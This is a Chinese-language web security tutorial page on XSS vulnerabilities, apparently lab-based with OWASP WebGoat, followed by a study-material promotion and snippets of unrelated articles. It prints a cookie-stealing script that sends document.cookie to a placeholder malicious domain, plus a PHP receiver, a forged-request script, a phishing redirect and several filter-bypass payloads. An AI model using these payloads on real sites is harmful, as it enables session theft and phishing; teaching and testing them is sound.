news 2026/9/1 18:45:40

Web漏洞挖掘实战|XSS跨站脚本漏洞原理与绕过技巧

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Web漏洞挖掘实战|XSS跨站脚本漏洞原理与绕过技巧

Web漏洞挖掘实战|XSS跨站脚本漏洞原理与绕过技巧

第一期的内容戳这里

第二期的内容戳这里

前言

XSS(Cross-Site Scripting,跨站脚本漏洞)是Web漏洞中最常见的漏洞之一,其危害虽不及SQL注入直接,但可用于窃取用户Cookie、伪造用户身份、发起钓鱼攻击等,在实战安全测试与CTF竞赛中频繁出现。与SQL注入的“数据库交互漏洞”不同,XSS是“页面渲染漏洞”,核心成因是“用户输入未被过滤,直接嵌入页面HTML中,导致恶意脚本被执行”。

本文将从底层渲染原理出发,拆解XSS的成因、分类、挖掘流程,结合OWASP WebGoat靶场实战,覆盖反射型、存储型XSS的挖掘与绕过技巧,同时补充前端/后端防护方案,兼顾理论与实操,适合Web安全新手、前端开发者、CTF爱好者阅读,需具备基础的HTML、JavaScript与HTTP协议知识。

一、XSS底层原理与核心成因

XSS的本质是“用户输入可控+页面未做过滤,导致恶意JavaScript脚本被浏览器执行”,其底层依赖浏览器的HTML渲染机制——浏览器会将页面中的HTML代码解析渲染,若用户输入的恶意脚本被当作合法HTML/JS代码解析,就会触发XSS。

  1. 漏洞代码示例(HTML+PHP)

    <!DOCTYPE html> <html> <body> <h1>搜索结果</h1> <?php // 接收用户输入的搜索关键词 $keyword = $_GET['keyword']; // 直接将用户输入嵌入页面(未做过滤) echo "你搜索的关键词是:" . $keyword; ?> </body> </html>
  2. XSS触发过程

当用户输入正常关键词(keyword=web安全)时,页面渲染后显示:“你搜索的关键词是:web安全”,无异常;当用户输入恶意脚本(keyword=< script>alert(‘XSS’)</ script>)时,页面渲染后的HTML代码为:

<!DOCTYPE html> <html> <body> <h1>搜索结果</h1> 你搜索的关键词是:<script>alert('XSS')</script> </body> </html>

浏览器解析到< script>标签后,会执行其中的alert(‘XSS’)语句,弹出弹窗,触发XSS漏洞。

  1. 核心成因总结

XSS的触发需满足两个核心条件,二者缺一不可:

补充说明:XSS的危害取决于恶意脚本的功能,简单的脚本仅能弹出弹窗,复杂的脚本可窃取用户Cookie(document.cookie)、伪造用户请求、跳转钓鱼页面等。

二、XSS的核心分类(按存储与触发方式)

根据恶意脚本的存储方式与触发场景,XSS可分为3类,不同类型的挖掘思路、危害范围差异较大,新手需重点掌握前两类。

  1. 反射型XSS(非持久化XSS)
  1. 存储型XSS(持久化XSS)
  1. DOM型XSS(文档对象模型XSS)

三、XSS标准化挖掘流程(靶场实战同步)

本文以OWASP WebGoat反射型XSS题目为例,拆解“信息收集→漏洞探测→漏洞验证→漏洞利用”的完整流程,新手可跟着实操;同时补充存储型XSS的挖掘要点。

  1. 信息收集(前置步骤)
  1. 漏洞探测(核心步骤)

漏洞探测的核心是“确认是否存在XSS注入点”,常用两种方式:手动探测与工具探测,优先手动探测(避免工具误报)。

(1)手动探测(反射型XSS)

(2)存储型XSS探测要点

存储型XSS的探测流程与反射型类似,核心差异是“需确认脚本是否被存储”:

(3)工具探测(Burp Suite+XSS插件)

对于批量探测或复杂场景,可使用Burp Suite辅助探测,搭配XSS插件(如XSS Validator):

  1. 漏洞利用(实战场景)

XSS的利用核心是“构造恶意脚本,实现具体攻击目标”,实战中常见的利用场景有3种:

(1)窃取用户Cookie

Cookie中通常包含用户登录凭证,窃取Cookie后可伪造用户身份登录,恶意脚本示例:

<script> // 将Cookie发送到恶意服务器 var img = new Image(); img.src = "http://恶意域名/steal.php?cookie=" + document.cookie; </script>

恶意服务器steal.php代码(接收并存储Cookie):

<?php $cookie = $_GET['cookie']; // 将Cookie写入文件 file_put_contents('cookie.txt', $cookie . "\n", FILE_APPEND); ?>

(2)伪造用户请求

通过XSS脚本伪造用户的POST/GET请求,执行恶意操作(如修改密码、发布恶意内容),示例(伪造评论提交请求):

<script> // 构造POST请求,伪造用户发布恶意评论 var xhr = new XMLHttpRequest(); xhr.open("POST", "http://目标域名/submit_comment.php", true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.send("comment=恶意内容&user=当前用户"); </script>

(3)跳转钓鱼页面

通过XSS脚本将页面跳转到钓鱼页面,诱导用户输入账号密码,示例:

<script> // 延迟跳转,避免被用户察觉 setTimeout(function(){ document.location.href = "http://钓鱼域名/login.html"; }, 3000); </script>
  1. 漏洞验证与风险评估

四、常见过滤绕过技巧(实战必备)

实战中,开发者常会通过前端过滤、后端过滤两种方式防御XSS,新手需掌握以下5种常用绕过技巧,应对不同过滤场景。

  1. 标签与事件绕过(针对标签过滤)

若开发者过滤了< script>标签,可使用其他支持JS执行的HTML标签+事件属性绕过,常用组合如下:

# 图片标签+事件(最常用) <img src=x onerror=alert(1)> # onerror:图片加载失败时执行 <img src=1 onload=alert(1)> # onload:图片加载成功时执行 # 链接标签+事件 <a href=javascript:alert(1)>点击触发</a> # 点击链接执行 <a href=x onclick=alert(1)>点击触发</a> # 其他标签 <body onload=alert(1)> # 页面加载完成时执行 <svg onload=alert(1)> # SVG标签支持JS执行
  1. 大小写混淆绕过(针对大小写过滤)

若开发者仅过滤小写标签/事件,可通过大小写混淆绕过(浏览器解析HTML时不区分大小写):

<ScRiPt>alert(1)</ScRiPt> <img src=x OnErRoR=alert(1)>
  1. 编码绕过(针对特殊字符过滤)

若开发者过滤了<、>、"、'等特殊字符,可使用HTML实体编码、URL编码绕过,需根据渲染场景选择编码方式:

  1. 注释插入绕过(针对关键字过滤)

若开发者过滤了完整的关键字(如script、onerror),可在关键字中插入HTML注释,绕过过滤:

<sc<!--注释-->ript>alert(1)</sc<!--注释-->ript> <img src=x on<!--注释-->error=alert(1)>

原理:服务器过滤时会匹配完整关键字,插入注释后关键字被拆分,不会被过滤;浏览器解析时会忽略注释,拼接关键字并执行。

  1. DOM型XSS绕过技巧(针对后端过滤)

DOM型XSS漏洞在前端,后端过滤无效,可通过以下方式绕过前端过滤:

五、XSS防护方案(攻防兼备)

XSS防护需兼顾前端与后端,核心思路是“过滤输入、净化输出”,结合以下3种方案,可有效防御绝大多数XSS漏洞。

  1. 后端过滤与转义(核心防护)

后端过滤是最有效的防护方式,需对所有用户输入进行严格过滤或转义,推荐使用编程语言自带的转义函数:

  1. 前端过滤(辅助防护)

前端过滤可拦截简单的恶意脚本,提升用户体验,但不能作为核心防护(前端代码可被篡改):

  1. 其他防护措施

六、新手避坑指南(核心5点)

如何系统学习网络安全?

网络安全作为数字时代的核心技术基石,已成为保障各行业安全稳定运行的坚实屏障。筑牢网络安全的防线,掌握先进的防护策略和技能正上升为国家与企业发展的战略优先级。

构建稳固的网络安全能力是一个体系的工程,需要从夯实基础理论出发,持续深化到攻防对抗与应急响应的实战层面。

如果你是准备学习网络安全(黑客)或者正在学习,我可以把我自用的360独家内部资料分享给你,包含以下内容你应该能用得上:

①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

一、网络安全(黑客)学习路线

网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

二、网络安全教程视频

我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

四、网络安全面试题

最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。

机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!

这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/1 18:38:53

ET2020高级定制版稳定运行指南:从打版工作流到版型管理

简介&#xff1a;ET2020高级定制版稳定版是一款面向专业用户的定制软件包&#xff0c;定位于数据计算、工程设计及高负载运行场景&#xff0c;强调在复杂环境下的稳定表现与个性化配置能力。整个压缩包共446个文件&#xff0c;约45.96MB&#xff0c;以工程文件、动态库和可执行…

作者头像 李华
网站建设 2026/9/1 18:37:19

算法与AI双轨课程体系:从基础到项目的完整学习路线

先给一个判断&#xff1a;算法AI双轨课程体系&#xff0c;不是简单地把“算法课”和“AI课”拼在一起&#xff0c;而是用两条学习线同步推进&#xff0c;再在项目里交叉验证。很多人学算法的时候不知道它以后会在哪里出现&#xff0c;学AI的时候又发现卡在数据结构和代码实现上…

作者头像 李华
网站建设 2026/9/1 18:36:52

超级机器人大战ZOP整合包部署与模拟器运行排查指南

这次我们来看一个机战爱好者圈的资源项目&#xff1a;超级机器人大战zop。从命名看&#xff0c;它不是官方作品&#xff0c;更像是一个围绕《超级机器人大战》某个作品或某个改版形成的整合包、修改版或资源集合。它的价值不是“新游戏上线”&#xff0c;而是“把老游戏的运行门…

作者头像 李华
网站建设 2026/9/1 18:36:30

Runway AI峰会新增嘉宾阵容解读:AI视频创作与工具选型指南

Runway AI 峰会公布新增演讲嘉宾阵容。这条消息如果只是当作行业新闻刷过去&#xff0c;其实有点可惜。对于正在做 AI 视频内容的人、正在评估视频生成工具的内容团队&#xff0c;以及准备把生成式模型接进业务流的产品和技术人员来说&#xff0c;峰会演讲嘉宾名单往往比一次产…

作者头像 李华